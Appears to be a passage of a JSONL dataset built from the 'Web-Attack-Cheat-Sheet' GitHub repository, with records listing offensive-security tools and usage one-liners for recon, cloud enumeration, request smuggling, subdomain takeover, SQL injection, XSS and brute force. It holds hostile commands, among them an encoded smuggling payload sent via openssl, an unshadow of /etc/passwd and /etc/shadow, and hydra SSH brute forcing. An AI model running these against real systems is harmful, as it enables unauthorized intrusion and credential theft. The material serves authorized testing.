GHunt is an OSINT tool to extract information from any Google Account using an email.\n```python3 ghunt.py email myemail@gmail.com```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538896"}
{"id": "gh_8c12a1120321", "question": "How to: Google Dorks", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://docs.google.com/document/d/1ydVaJJeL1EYbWtlfj9TPfBTE5IBADkQfZrQaBZxqXGs/view\n# Google Advanced Search Operators\n\nhttps://www.exploit-db.com/google-hacking-database\n# Google Hacking Database\n\nhttps://github.com/opsdisk/pagodo\n# The goal of this project was to develop a passive Google dork script to collect potentially vulnerable web pages and applications on the Internet.\n```python3 pagodo.py -d example.com -g dorks.txt -l 50 -s -e 35.0 -j 1.1```\n\nhttps://github.com/Tobee1406/Awesome-Google-Dorks\n# A collection of Awesome Google Dorks.\n\nhttps://taksec.github.io/google-dorks-bug-bounty/\n# Google Dorks for Bug Bounty.\n\nhttps://github.com/xnl-h4ck3r/xnldorker\n# This is a tool used to run a dork on different search sites. The available sources are currently: DuckDuckGo, Bing, Startpage, Yahoo, Google, GoogleCS, Yandex, Ecosia, Baidu, Seznam, Kagi.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538903"}
{"id": "gh_9d8cb0200baa", "question": "How to: Content Security Policy (CSP)", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://csp-evaluator.withgoogle.com/\n# CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site scripting attacks.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538908"}
{"id": "gh_32d27fbe734c", "question": "How to: Tiny URLs Services", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://www.scribd.com/doc/308659143/Cornell-Tech-Url-Shortening-Research\n# Cornell Tech Url Shortening Research\n\nhttps://github.com/utkusen/urlhunter\n# urlhunter is a recon tool that allows searching on URLs that are exposed via shortener services such as bit.ly and goo.gl.\n```urlhunter -keywords keywords.txt -date 2020-11-20 -o out.txt```\n\nhttps://shorteners.grayhatwarfare.com\n# Search Shortener Urls", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538913"}
{"id": "gh_84bfb0fc87c3", "question": "How to: Fingerprint", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/urbanadventurer/WhatWeb\n# WhatWeb identifies websites. Its goal is to answer the question, \"What is that Website?\". WhatWeb recognises web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices.\n```whatweb -a 4 -U 'Mozilla' -c 'NAME1=VALUE1; NAME2=VALUE2' -t 20 www.example.com```\n\nhttps://builtwith.com\n# Find out what websites are Built With.\n\nhttps://www.wappalyzer.com\n# Identify technologies on websites.\n\nhttps://github.com/s0md3v/wappalyzer-next\n# This project is a command line tool and python library that uses Wappalyzer extension (and its fingerprints) to detect technologies.\n```wappalyzer -i https://example.com```\n\nhttps://webtechsurvey.com\n# Discover what technologies a website is built on or find out what websites use a particular web technology.\n\nhttps://portswigger.net/bappstore/c9fb79369b56407792a7104e3c4352fb\n# Software Vulnerability Scanner Burp Extension\n\nhttps://github.com/GrrrDog/weird_proxies\n# It's a cheat sheet about behaviour of various reverse proxies and related attacks.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538925"}
{"id": "gh_05020b16a833", "question": "How to: Cloud Enumeration", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "# Set keys\n```export AWS_ACCESS_KEY_ID=YOUR_ACCESS_KEY```\n```export AWS_SECRET_ACCESS_KEY=YOUR_SECRET_KEY```\n```export AWS_SESSION_TOKEN=YOUR_SESSION_TOKEN```\n# Set keys (alternative)\n```aws configure set aws_access_key_id YOUR_ACCESS_KEY```\n```aws configure set aws_secret_access_key YOUR_SECRET_KEY```\n```aws configure set aws_session_token YOUR_SESSION_TOKEN```\n# Basic check\n```aws sts get-caller-identity```\n\nhttps://github.com/andresriancho/enumerate-iam\n# Found a set of AWS credentials and have no idea which permissions it might have?\n\nhttps://github.com/nccgroup/ScoutSuite\n# Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.\n\nhttps://github.com/streaak/keyhacks\n# KeyHacks shows ways in which particular API keys found on a Bug Bounty Program can be used, to check if they are valid.\n\nhttps://github.com/ozguralp/gmapsapiscanner\n# Used for determining whether a leaked/found Google Maps API Key is vulnerable to unauthorized access by other applications or not.\n\nhttps://github.com/aquasecurity/trivy\n# Trivy (tri pronounced like trigger, vy pronounced like envy) is a comprehensive security scanner. It is reliable, fast, extremely easy to use, and it works wherever you need it.\n\nhttps://github.com/initstring/cloud_enum\n# Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.\n\nhttps://github.com/R-s0n/cloud_enum\n# This fork is actively maintained by rs0n as part of The Ars0n Framework v2, a comprehensive bug bounty hunting framework. This version includes significant enhancements and expanded cloud service coverage.\n\nhttps://github.com/toniblyx/prowler\n# Prowler is an Open Source Security tool for AWS, Azure and GCP to perform Cloud Security best practices assessments, audits, incident response, compliance, continuous monitoring, hardening and forensics readiness.\n\nhttps://github.com/salesforce/cloudsplaining\n# Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\n\nhttps://github.com/cloudsploit/scans\n# CloudSploit by Aqua is an open-source project designed to allow detection of security risks in cloud infrastructure accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub. These scripts are designed to return a series of potential misconfigurations and security risks.\n\nhttps://github.com/RhinoSecurityLabs/pacu\n# Pacu is an open-source AWS exploitation framework, designed for offensive security testing against cloud environments.\n\nhttps://github.com/VirtueSecurity/aws-extender\n# This Burp Suite extension can identify and test S3 buckets as well as Google Storage buckets and Azure Storage containers for common misconfiguration issues using the boto/boto3 SDK library.\n\nhttps://github.com/irgoncalves/gcp_security\n# This repository is intented to have Google Cloud Security recommended practices, scripts and more.\n\nhttps://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html\n# Instance metadata is data about your instance that you can use to configure or manage the running instance. Instance metadata is divided into categories, for example, host name, events, and security groups.\n\nhttps://cloud.google.com/compute/docs/storing-retrieving-metadata\n# Every instance stores its metadata on a metadata server. You can query this metadata server programmatically, from within the instance and from the Compute Engine API. You can query for information about the instance, such as the instance's host name, instance ID, startup and shutdown scripts, custom metadata, and service account information. Your instance automatically has access to the metadata server API without any additional authorization.\n\nhttps://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service\n# The Azure Instance Metadata Service (IMDS) provides information about currently running virtual machine instances. You can use it to manage and configure your virtual machines. This information includes the SKU, storage, network configurations, and upcoming maintenance events.\n\nhttps://www.alibabacloud.com/help/doc-detail/49122.htm\n# Metadata of an instance includes basic information of the instance in Alibaba Cloud, such as the instance ID, IP address, MAC addresses of network interface controllers (NICs) bound to the instance, and operating system type.\n\nhttps://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/\n# Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments.\n\nhttps://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools\n# A user pool is a user directory in Amazon Cognito. Wit", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538950"}
{"id": "gh_d1f0841df7c5", "question": "How to: Containerization", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/stealthcopter/deepce\n# Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE).", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538955"}
{"id": "gh_82c157ef3300", "question": "How to: Visual Identification", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/FortyNorthSecurity/EyeWitness\n# EyeWitness is designed to take screenshots of websites provide some server header info, and identify default credentials if known.\n```eyewitness --web --user-agent \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\" --threads 10 --timeout 30 --prepend-https -f \"${PWD}/subdomains.txt\" -d \"${PWD}/eyewitness/\"```\n\nhttps://github.com/michenriksen/aquatone\n# Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.\n```cat targets.txt | aquatone```\n\nhttps://github.com/sensepost/gowitness\n# gowitness is a website screenshot utility written in Golang, that uses Chrome Headless to generate screenshots of web interfaces using the command line, with a handy report viewer to process results. Both Linux and macOS is supported, with Windows support mostly working.\n```gowitness scan --cidr 192.168.0.0/24 --threads 20```\n\nhttps://github.com/BishopFox/eyeballer\n# Eyeballer is meant for large-scope network penetration tests where you need to find \"interesting\" targets from a huge set of web-based hosts.\n```eyeballer.py --weights YOUR_WEIGHTS.h5 predict PATH_TO/YOUR_FILES/```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538961"}
{"id": "gh_753bf8960b41", "question": "How to: Static Application Security Testing", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/returntocorp/semgrep\n# Semgrep is a fast, open-source, static analysis tool that excels at expressing code standards — without complicated queries — and surfacing bugs early at editor, commit, and CI time.\n\nhttps://owasp.org/www-project-dependency-check/\n# Dependency-Check is a Software Composition Analysis (SCA) tool that attempts to detect publicly disclosed vulnerabilities contained within a project’s dependencies. It does this by determining if there is a Common Platform Enumeration (CPE) identifier for a given dependency. If found, it will generate a report linking to the associated CVE entries.\n\nhttps://owasp.org/www-community/Source_Code_Analysis_Tools\n# Source code analysis tools, also known as Static Application Security Testing (SAST) Tools, can help analyze source code or compiled versions of code to help find security flaws.\n\nhttps://github.com/robotframework/robotframework\n# Robot Framework is a generic open source automation framework for acceptance testing, acceptance test driven development (ATDD), and robotic process automation (RPA). It has simple plain text syntax and it can be extended easily with generic and custom libraries.\n\nhttps://github.com/google/osv-scanner\n# Use OSV-Scanner to find existing vulnerabilities affecting your project's dependencies.\n\nhttps://github.com/securego/gosec\n# Inspects source code for security problems by scanning the Go AST.\n\nhttps://dotnetfiddle.net\n# We are a group of .NET developers who are sick and tired of starting Visual Studio, creating a new project and running it, just to test simple code or try out samples from other developers.\n\nhttps://jsfiddle.net\n# Test your JavaScript, CSS, HTML or CoffeeScript online with JSFiddle code editor.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538971"}
{"id": "gh_2eaa156a490c", "question": "How to: Dependency Confusion", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610\n# How I Hacked Into Apple, Microsoft and Dozens of Other Companies.\n\nhttps://www.blazeinfosec.com/post/dependency-confusion-exploitation/\n# This blog post provides an overview of Dependency Confusion attacks and explains in detail how they can be exploited in the wild, with examples using NPM packages and tips to prevent these vulnerabilities from occurring.\n\nhttps://github.com/dwisiswant0/nodep\n# nodep check available dependency packages across npmjs, PyPI or RubyGems registry.\n\nhttps://github.com/visma-prodsec/confused\n# A tool for checking for lingering free namespaces for private package names referenced in dependency configuration for Python (pypi) requirements.txt, JavaScript (npm) package.json, PHP (composer) composer.json or MVN (maven) pom.xml.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538977"}
{"id": "gh_3d924271a91a", "question": "How to: Send Emails", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c\n# Ticket Trick\n\nhttps://medium.com/intigriti/abusing-autoresponders-and-email-bounces-9b1995eb53c2\n# Abusing autoresponders and email bounces\n# Send multiple emails\n```while read i; do echo $i; echo -e \"From: example1@gmail.com\\nTo: ${i}\\nCc: example2@gmail.com\\nSubject: This is the subject ${i}\\n\\nThis is the body ${i}\" | ssmtp ${i},example2@gmail.com; done < emails.txt```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538981"}
{"id": "gh_a852cb095bb3", "question": "How to: Search Vulnerabilities", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://pypi.org/project/urlscanio/\n# URLScan.io is a useful tool for scanning and obtaining information from potentially malicious websites. The creators of URLScan have very helpfully made an API which can be used to add some automation to your workflow. urlscanio is a simple Python CLI utility which makes use of the aforementioned APIs to automate my own personal workflow when it comes to using URLScan.\n```urlscanio -i https://www.example.com```\n\nhttps://github.com/vulnersCom/getsploit\n# Command line search and download tool for Vulners Database inspired by searchsploit.\n```getsploit wordpress 4.7.0```\n\nhttps://www.exploit-db.com/searchsploit\n# Included in our Exploit Database repository on GitHub is searchsploit, a command line search tool for Exploit-DB that also allows you to take a copy of Exploit Database with you, everywhere you go.\n```searchsploit -t oracle windows```\n\nhttps://github.com/vulmon/Vulmap\n# Vulmap is an open-source online local vulnerability scanner project. It consists of online local vulnerability scanning programs for Windows and Linux operating systems.\n\nhttps://grep.app\n# Search across a half million git repos.\n\nhttps://github.com/0ang3el/aem-hacker\n# Tools to identify vulnerable Adobe Experience Manager (AEM) webapps.\n```python3 aem_hacker.py -u https://example.com --host your_vps_hostname_ip```\n\nhttps://github.com/laluka/jolokia-exploitation-toolkit\n# Jolokia Exploitation Toolkit (JET) helps exploitation of exposed jolokia endpoints.\n\nhttps://github.com/cve-search/git-vuln-finder\n# Finding potential software vulnerabilities from git commit messages.\n```git-vuln-finder -r ~/git/curl | jq .```\n\nhttps://github.com/internetwache/GitTools\n# This repository contains three small python/bash scripts used for the Git research.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.538988"}
{"id": "gh_7a736f9194fc", "question": "How to: HTTP Request Smuggling", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/defparam/smuggler\n# An HTTP Request Smuggling / Desync testing tool written in Python 3.\n```python3 smuggler.py -q -u https://example.com/```\n# Attacking through command line a HTTPS vulnerable service. Good for persistence when no one believes in you.\n```echo 'UE9TVCAvIEhUVFAvMS4xDQpIb3N0OiB5b3VyLWxhYi1pZC53ZWItc2VjdXJpdHktYWNhZGVteS5uZXQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNg0KVHJhbnNmZXItRW5jb2Rpbmc6IGNodW5rZWQNCg0KMA0KDQpH' | base64 -d | timeout 1 openssl s_client -quiet -connect your-lab-id.web-security-academy.net:443 &>/dev/null```\n\nhttps://github.com/neex/http2smugl\n# This tool helps to detect and exploit HTTP request smuggling in cases it can be achieved via HTTP/2 -> HTTP/1.1 conversion by the frontend server.\n```http2smugl detect https://example.com/```\n\nhttps://github.com/BishopFox/h2csmuggler\n# h2cSmuggler smuggles HTTP traffic past insecure edge-server proxy_pass configurations by establishing HTTP/2 cleartext (h2c) communications with h2c-compatible back-end servers, allowing a bypass of proxy rules and access controls.\n```h2csmuggler.py -x https://example.com/ --test```\n\nhttps://github.com/0ang3el/websocket-smuggle\n# Smuggling HTTP requests over fake WebSocket connection.\n```python3 smuggle.py -u https://example.com/```\n\nhttps://github.com/anshumanpattnaik/http-request-smuggling\n# So the idea behind this security tool is to detect HRS vulnerability for a given host and the detection happens based on the time delay technique with the given permutes.\n\nhttps://portswigger.net/web-security/request-smuggling\n# HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users.\n\nhttps://github.com/PortSwigger/http-request-smuggler\n# This is an extension for Burp Suite designed to help you launch HTTP Request Smuggling attacks, originally created during HTTP Desync Attacks research. It supports scanning for Request Smuggling vulnerabilities, and also aids exploitation by handling cumbersome offset-tweaking for you.\n\nhttps://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142\n# This is how I was able to exploit a HTTP Request Smuggling in some Mobile Device Management (MDM) servers and send any MDM command to any device enrolled on them for a private bug bounty program.\n\nhttps://www.yeswehack.com/learn-bug-bounty/http-request-smuggling-guide-vulnerabilities\n# The ultimate Bug Bounty guide to HTTP request smuggling vulnerabilities.\n\nhttps://www.intruder.io/research/practical-http-header-smuggling\n# Modern web applications typically rely on chains of multiple servers, which forward HTTP requests to one another. The attack surface created by this forwarding is increasingly receiving more attention, including the recent popularisation of cache poisoning and request smuggling vulnerabilities. Much of this exploration, especially recent request smuggling research, has developed new ways to hide HTTP request headers from some servers in the chain while keeping them visible to others – a technique known as \"header smuggling\". This paper presents a new technique for identifying header smuggling and demonstrates how header smuggling can lead to cache poisoning, IP restriction bypasses, and request smuggling.\n\nhttps://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/\n# Two Years Ago @albinowax Shown Us A New Technique To PWN Web Apps So Inspired By This Technique AND @defparam's Tool , I Have Been Collecting A Lot Of Mutations To Achieve Request Smuggling.\n\nhttps://github.com/GrrrDog/weird_proxies\n# It's a cheat sheet about behaviour of various reverse proxies and related attacks.\n\nhttps://github.com/bahruzjabiyev/T-Reqs-HTTP-Fuzzer\n# T-Reqs (Two Requests) is a grammar-based HTTP Fuzzer written as a part of the paper titled \"T-Reqs: HTTP Request Smuggling with Differential Fuzzing\" which was presented at ACM CCS 2021.\n\nhttps://github.com/BenjiTrapp/http-request-smuggling-lab\n# Two HTTP request smuggling labs.\n\nhttps://infosec.zeyu2001.com/2022/http-request-smuggling-in-the-multiverse-of-parsing-flaws\n# Nowadays, novel HTTP request smuggling techniques rely on subtle deviations from the HTTP standard. Here, I discuss some of my recent findings and novel techniques.\n\nhttps://tools.honoki.net/smuggler.html\n# Visualize HTTP parsing discrepancies that lead to smuggling vulnerabilities.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539009"}
{"id": "gh_343a165be530", "question": "How to: Subdomain Takeover", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/anshumanbh/tko-subs\n# Subdomain Takeover Scanner\n```tko-subs -data providers-data.csv -threads 20 -domains subdomains.txt```\n\nhttps://github.com/haccer/subjack\n# Subjack is a Subdomain Takeover tool written in Go designed to scan a list of subdomains concurrently and identify ones that are able to be hijacked.\n```subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl```\n\nhttps://github.com/Ice3man543/SubOver\n# Subover is a Hostile Subdomain Takeover tool originally written in python but rewritten from scratch in Golang. Since it's redesign, it has been aimed with speed and efficiency in mind.\n```SubOver -l subdomains.txt```\n\nhttps://github.com/punk-security/dnsReaper\n# DNS Reaper is yet another sub-domain takeover tool, but with an emphasis on accuracy, speed and the number of signatures in our arsenal.\n```python3 main.py file --filename subdomains.txt```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539014"}
{"id": "gh_f45704fc2497", "question": "How to: SQLi (SQL Injection)", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/sqlmapproject/sqlmap\n# sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.\n```sqlmap --force-ssl -r RAW_REQUEST.txt --user-agent='Mozilla' --batch```\n```sqlmap -vv -u 'https://www.example.com?id=1*' --user-agent='Mozilla' --level 5 --risk 3 --batch```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539019"}
{"id": "gh_3e6f0fc855c5", "question": "How to: XSS (Cross-Site Scripting)<a name=\"xss_scanning\"></a>", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/hahwul/dalfox\n# DalFox is a powerful open-source tool that focuses on automation, making it ideal for quickly scanning for XSS flaws and analyzing parameters. Its advanced testing engine and niche features are designed to streamline the process of detecting and verifying vulnerabilities.\n```dalfox url http://testphp.vulnweb.com/listproducts.php\\?cat\\=123\\&artist\\=123\\&asdf\\=ff -b https://your-callback-url```\n\nhttps://github.com/KathanP19/Gxss\n# A Light Weight Tool for checking reflecting Parameters in a URL. Inspired by kxss by @tomnomnom.\n```echo \"https://www.example.com/some.php?first=hello&last=world\" | Gxss -c 100```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539023"}
{"id": "gh_1380affe2795", "question": "How to: Repositories Scanning", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/zricethezav/gitleaks\n# Gitleaks is a SAST tool for detecting hardcoded secrets like passwords, api keys, and tokens in git repos.\n\nhttps://github.com/michenriksen/gitrob\n# Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github.\n\nhttps://github.com/dxa4481/truffleHog\n# Searches through git repositories for secrets, digging deep into commit history and branches.\n\nhttps://github.com/awslabs/git-secrets\n# Prevents you from committing passwords and other sensitive information to a git repository.\n\nhttps://github.com/eth0izzle/shhgit\n# shhgit helps secure forward-thinking development, operations, and security teams by finding secrets across their code before it leads to a security breach.\n\nhttps://pinatahub.incognita.tech/\n# PinataHub allows you to explore a fraction of the 4M+ passwords and secrets committed in public GitHub repositories, detected by GoldDigger.\n\nhttps://github.com/adamtlangley/gitscraper\n# A tool which scrapes public github repositories for common naming conventions in variables, folders and files.\n```php gitscraper.php {GitHub Username} {GitHub Personal KEY}```\n\nhttps://www.gitguardian.com/\n# Secure your software development lifecycle with enterprise-grade secrets detection. Eliminate blind spots with our automated, battle-tested detection engine.\n\nhttps://docs.gitguardian.com/secrets-detection/detectors/supported_credentials\n# Here is an exhaustive list of the detectors supported by GitGuardian.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539029"}
{"id": "gh_315189a32a16", "question": "How to: Secret Scanning", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/redhuntlabs/HTTPLoot\n# An automated tool which can simultaneously crawl, fill forms, trigger error/debug pages and \"loot\" secrets out of the client-facing code of sites.\n\nhttps://github.com/redhuntlabs/BucketLoot\n# BucketLoot is an automated S3-compatible Bucket inspector that can help users extract assets, flag secret exposures and even search for custom keywords as well as Regular Expressions from publicly-exposed storage buckets by scanning files that store data in plain-text.\n\nhttps://github.com/0xTeles/jsleak\n# jsleak is a tool to identify sensitive data in JS files through regex patterns.\n\nhttps://github.com/channyein1337/jsleak\n# I was developing jsleak during most of my free time for my own need. It is easy-to-use command-line tool designed to uncover secrets and links in JavaScript files or source code. The jsleak was inspired by Linkfinder and regexes are collected from multiple sources.\n\nhttps://github.com/praetorian-inc/noseyparker\n# Nosey Parker is a command-line tool that finds secrets and sensitive information in textual data and Git history.\n\nhttps://github.com/praetorian-inc/gato\n# Gato, or GitHub Attack Toolkit, is an enumeration and attack tool that allows both blue teamers and offensive security practitioners to identify and exploit pipeline vulnerabilities within a GitHub organization's public and private repositories.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539036"}
{"id": "gh_94d010adb9ba", "question": "How to: CORS Misconfigurations", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/s0md3v/Corsy\n# Corsy is a lightweight program that scans for all known misconfigurations in CORS implementations.\n```python3 corsy.py -u https://example.com```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539041"}
{"id": "gh_853582bd2a36", "question": "How to: Brute Force", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/vanhauser-thc/thc-hydra\n# Number one of the biggest security holes are passwords, as every password security study shows. This tool is a proof of concept code, to give researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.\n```hydra -l root -P 10-million-password-list-top-1000.txt www.example.com -t 4 ssh```\n\nhttps://www.openwall.com/john/\n# John the Ripper is an Open Source password security auditing and password recovery tool available for many operating systems.\n```unshadow /etc/passwd /etc/shadow > mypasswd.txt```\n```john mypasswd.txt```\n\nhttps://hashcat.net/hashcat/\n# Hashcat is a password recovery tool.\n```hashcat -m 0 -a 0 hashes.txt passwords.txt```\n\nhttps://github.com/iangcarroll/cookiemonster\n# CookieMonster is a command-line tool and API for decoding and modifying vulnerable session cookies from several different frameworks. It is designed to run in automation pipelines which must be able to efficiently process a large amount of these cookies to quickly discover vulnerabilities. Additionally, CookieMonster is extensible and can easily support new cookie formats.\n```cookiemonster -cookie \"gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1mgnkC:z5yDxzI06qYVAU3bkLaWYpADT4I\"```\n\nhttps://github.com/ticarpi/jwt_tool\n# jwt_tool.py is a toolkit for validating, forging, scanning and tampering JWTs (JSON Web Tokens).\n```python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw```\n\nhttps://github.com/ustayready/fireprox\n# Rotate the source IP address in order to bypass rate limits\n\nhttps://github.com/AethliosIK/reset-tolkien\n# This tool is the result of research into \"Unsecure time-based secrets\" from this article: https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html.\n# To better understand how to use this tool, we strongly recommend that you read it first.\n\nhttps://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease\n# Signed web tokens are widely used for stateless authentication and authorization throughout the web. The most popular format is JSON Web Tokens (JWT) which we've already covered in depth, but beyond that a diverse ecosystem of standards thrives, each with its own implementation of data storage and security.\n# To help assess these, we've released a new open source extension for Burp Suite called SignSaboteur. This tool is designed to automate the attacks discussed here, ensuring that you no longer overlook any insecure configurations.\n\nhttps://github.com/intruder-io/guidtool\n# A simple tool to analyse version 1 GUIDs/UUIDs from a system. With the information obtained from analysis, it is often possible to forge future v1 GUIDs created by the system, if you know the approximate time they were created.\n```guidtool -t '2022-04-13 09:12:54' 95f6e264-bb00-11ec-8833-00155d01ef00```\n\nhttps://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack\n# In this presentation I introduce, demo and distribute Turbo Intruder - a research grade open source Burp Suite extension built from scratch with speed in mind. I also discuss the underlying HTTP abuse that enables it to go so fast, so you can attain similar speeds in any tools you happen to write.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": 